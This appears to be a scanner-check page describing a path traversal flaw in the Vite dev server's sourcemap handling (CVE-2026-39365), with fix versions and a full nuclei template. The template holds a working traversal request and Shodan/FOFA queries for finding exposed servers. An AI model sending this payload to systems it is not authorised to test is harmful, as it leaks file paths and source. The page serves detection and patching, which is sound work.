Vite Dev Server - Path Traversal in Optimized Deps .map Handling

mediumseverity

5.3CVSS score

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.

Impact

An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.

Fix

Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.

How to confirm it

Send: GET /
Positive when: contains in body_1 "/@vite/client" AND status 200
Send: GET /node_modules/.vite/deps/../../../config.production.js.map
Positive when: contains "\"version\":3" and "\"mappings\"" AND matches /"file":"// AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-39365 -u <target>

The full check

id: CVE-2026-39365

info:
  name: Vite Dev Server - Path Traversal in Optimized Deps .map Handling
  author: theamanrawat
  severity: medium
  description: |
    Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.
  impact: |
    An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.
  remediation:
    Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.
  reference:
    - https://github.com/advisories/GHSA-4w7w-66w2-5vf9
    - https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39365
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-39365
    epss-score: 0.00914
    epss-percentile: 0.60424
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"/@vite/client" port:"5173"
    fofa-query: body="/@vite/client" && port="5173"
  tags: cve,cve2026,vite,lfi,path-traversal,vuln,unauthenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "/@vite/client"
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /node_modules/.vite/deps/../../../config.production.js.map HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"version\":3"
          - "\"mappings\""
        condition: and

      - type: regex
        part: body
        regex:
          - "\"file\":\"/"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "\"file\":\"([^\"]+)\""

References

Use this check only on systems you are authorised to test. Where the data comes from